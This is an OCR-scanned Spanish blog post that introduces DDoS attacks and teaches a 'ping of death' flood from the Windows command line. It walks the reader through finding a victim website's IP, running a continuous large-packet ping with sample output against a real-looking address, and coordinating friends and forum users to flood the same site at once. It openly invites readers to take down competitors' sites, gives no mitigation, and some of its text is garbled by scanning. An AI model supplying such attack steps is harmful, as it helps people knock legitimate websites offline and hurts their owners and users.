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;Comorrrr? ;Ataques DDoS, Chuiso? Si, sefiores, hay que saber de todo en esta
cibervida, por eso hoy empiezo la primera parte de una serie de articulos en la que
os hablaré de los distintos tipos de ataques DDoS que existen, como se realizan y
con qué herramientas. En la medida de lo posible os ensefiaré a realizar ataques de
este tipo y os explicaré como funcionan. ;Por qué? Sencillo, si eres un bastardo sin
escrupulos quizas quieres usarlos para fastidiar a alguien... Y si eres un webmaster
cauteloso querras saber en qué consisten este tipo de amenazas hacias nuestras
webs y como subsanarlas. Légicamente ni yo ni nadie va a tocar Quondos (mirar
vifieta), porque es mas sagrado que la Santisima Trinidad jejeje, pero fue lo primero

que se me vino a la mente

Yo, Chuiso Chuisez, prometo, confirmo y aseguro haber sufrido malditos ataques
DDoS en alguna web en algun momento de mi vida. La sensacion de impotencia es
indescriptible, sobretodo si ves que esto te esta haciendo perder dinero. También
recuerdo casos curiosos de ataques DDoS completamente cabrones, como el que
sufrid Alex Navarro de Vivirdelared.com poco antes de que se eligiese el ganador
del concurso Seorimicuaro, con cerca de 2.500 ddlares en juego. Si, sefiores, si
tienes una competencia fuerte y hay mucho dinero en juego (o un enemigo de
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esos de pelicula), no descartes sufrir ataques DDoS. Hoy en dia estan muy al
alcance de la mano y, aunque son relativamente faciles de subsanar, pueden
jugarte una mala pasada.

Todo lo que debes saber sobre un DDoS

Un jodido DDos (que viene de Distributed Denial of Service) es un ataque (que se
puede realizar de diversas formas) a un sistema de computadoras que causa que
un servicio o recurso sea inaccesible a los usuarios legitimos (por ejemplo, y en
nuestro caso, una pagina web). Normalmente provoca la pérdida de la conectividad
de la red por el consumo del ancho de banda de la red de la victima o sobrecarga
de los recursos del sistema de la victima (incluso aunque tengas un VPS, por
ejemplo).

Después de este copypaste de Wikipedia, hablemos claro. En estos articulos
vamos a hablar de las diversas formas que hay de atacar mediante DDoS, y qué
software o medios se emplean. Normalmente la idea basica en nuestra tematica la

podemos resumir en esto.
Victima tiene pdgina web -> Bastardo quiere tumbarla -> Bastardo usa un ataque
DDosS lo suficientemente potente para que el hosting de la victima colapse -> Los
usuarios que quieren entrar a la web de la victima se encuentran con que estd caida
mientras dura el ataque -> Bastardo tiene orgasmos de placer
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Como veis un ataque DDoS es una faquinshit. Se pueden citar cientos de formas de
atacar una web, sin embargo en la actualidad destacan por su relevancia
programas como LOIC (que os pasaré y ensefaré a usar), usados por los
“Anonymous” para joder al FBI, etc. Como hoy no quiero asustaros con mucha
informacion, vamos a empezar por la base de la pizza... lo mas basico en cuanto a
ataques DDos. Se llama el “Ping de la Muerte” y aunque en la actualidad su
funcionalidad no es de gran valor, nos sirve para entender mejor la historia de los
ataques DDoS y como funcionan.




Por cierto, j;todavia no conoces TeamPlatino? Deberias echarle un vistazo ya.
Es mi curso privado de SEO y monetizacion y la estamos liando parda

dentro

Ataque DDoS en CMD - Ping de la Muerte

Este tipo de ataques se realizaron mucho hace mas de 15 afios, e hicieron mucho
dafio en el creciente ambiente cibernético de la época. El sistema consistia en
mandar numerosos paquetes ICMP grandes (mayores a 65.535 bytes) con el fin de
colapsar el sistema atacado. Todo ello se realizaba a través de pings deformados
con tamafos mucho mayores a los comunes 64 bytes. Hoy en dia realizar dichos
ataques DDoS mediante pings es muy sencillo, sin embargo todas las redes
actuales estan protegidas ante dichos ataques tan anticuados, por lo que hace falta
mandarlos desde varios ordenadores para que puedan funcionar. Si bien los pings
deben tener un peso de mas de 65.535 bytes, yo no he conseguido mandarlos con
mas de 15.000 bytes, por lo que necesitaria otros usuarios mandando el mismo
ataque DDoS a la misma web para tener la posibilidad de tumbar una pagina web

con un hosting normalillo

Ahora explicaré como se realiza el ataque. Entramos a nuestro menu de Windows y
ejecutamos CMD. Se nos abrira la tipica pantalla de MSDOS en la que, si ponemos

ping, veremos las opciones de la funcion que empleamos. Ahi va pantallazo con lo

interesante:

BA C\Windows\system32\amd.exe

C:\Users' Users '

Uso: ping [-t] [-a] [-n cuenta] [-1 tamano] [-f] [-1 TTL] [-w TOS
[-r cuenta] [-s cuenta] [[-] lista-host] | [-k lista-
[-w tiempo_espera] [-R] [-$S srcaddr] [-4] [-6] nombre

Opciones:

Ei) Hacer ping al host especificado hasta que se detenga.
Para ver estadisticas y continuar, presiocne Ctrl+Inter
para detener, presione Ctrl+C.

Resolver direcciones en nombres de host.
Numero de solicitudes de eco para enviar.
Enviar tamafio del blifer.



http://bit.ly/1Bl2Dju

Sobra decir que las opciones que emplearemos para nuestro ping son “-t” y “-1”.
Con la "-t" mandamos el ping de forma repetida y continuada, y con la “-I"
elegimos el peso de cada ping, en este caso bufer. Ahora debemos conocer la IP de
la web a la que queremos atacar. Para ello tecleamos un nuevo y simple

comando: “ping www.webqueatacare.com” y damos a “Intro”. En pocos segundos
nos dara una IP como veis a continuacion:

B C:\Windows\system32\cmd.exe

C:\Users\ Users\|ping www.youtube.es

Haciendo ping a youtube-ui.l.google.com J173.194.41.233] co
Respuesta desde 173.194.41.233: bytes=32 tlempo=3Zms =55

Respuesta desde 173.194.41.233: bytes=32 tiempo=56ms TTL=55
Respuesta desde 173.194.41.233: bytes=32 tiempo=46ms TTL=55

Respuesta desde 173.194.41.233: bytes=32 tiempo=5S4ms TTL=55

Estadisticas de ping para 173.194.41.233:
Paguetes: enviados = 4, recibidos = 4, perdidos = 0
(0% perdidos),

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = 42ms, Maximo = S6ms, Media = 49ms

Ahora, con la IP de nuestra victima, debemos teclear el nuevo comando que hara
temblar la pagina. Os recomiendo escribirlo en un bloc de notas y luego pegarlo en
el CMD para que podais modificarlo rapidamente. El formato debe ser asi: “ping
123.111.23.453 -t -1 15000”. Logicamente debéis cambiar la IP por la de vuestra
victima, y la cifra final es la cantidad de bytes que estais enviando. La “-t" y "-I" son
los comandos de ping que empleamos. En la siguiente pantalla podéis ver un
ataque de pings exitosos.



C:\Users\ Users >ping 176.74.176.178 -t -1 15000 <«

Haciendo ping a 176.74.176.178 con 15000 bytes de datos:
Tiempo de espera agotado para esta solicitud.

Respuesta desde 176.74.176. bytes=15000 tiempo=316ms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=320ms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=335Sms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=324ms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=333ms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=323ms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=34i4ms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=336ms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=355ms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=343ms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=372ms TTL=49
Respuesta desde 176.74.176. bytes=15000 tiempo=331ms TTL=49

Si los pings no dan respuestas y da un mensaje del tipo “Tiempo de espera
agotado para esta solicitud”, significa que la cantidad de bytes que hemos puesto
es muy alta. Debemos ir regulando la cantidad para saber cuantos bytes soporta
por ping. Una vez sepamos la cifra maxima soportada, es cuanto entra en juego el
trabajo en equipo. Busca amigos, foreros, webmasters y/u otro tipo de gente que
esté dispuesta a ayudarte y facilitales la informacién, cantidad de bytes y método y
poneros a funcionar todos a la vez en la misma web. En funcion del tipo de hosting
que tenga la victima y la calidad del mismo es posible que podais tumbar una web

con esta técnica tan simple y antigua
Ahora bien, si te gusto el articulo y quieres que continle con la segunda

parte, dame un +1 en Google Plus y lo haré :No tienes cuenta en Google? ;En
qué mundo cadtico y cruel vives...? Bueno, también pueden valerme Facebook,

Twitter... {Si me pongo muy blando me vale hasta Tuenti! Compartir es vivir
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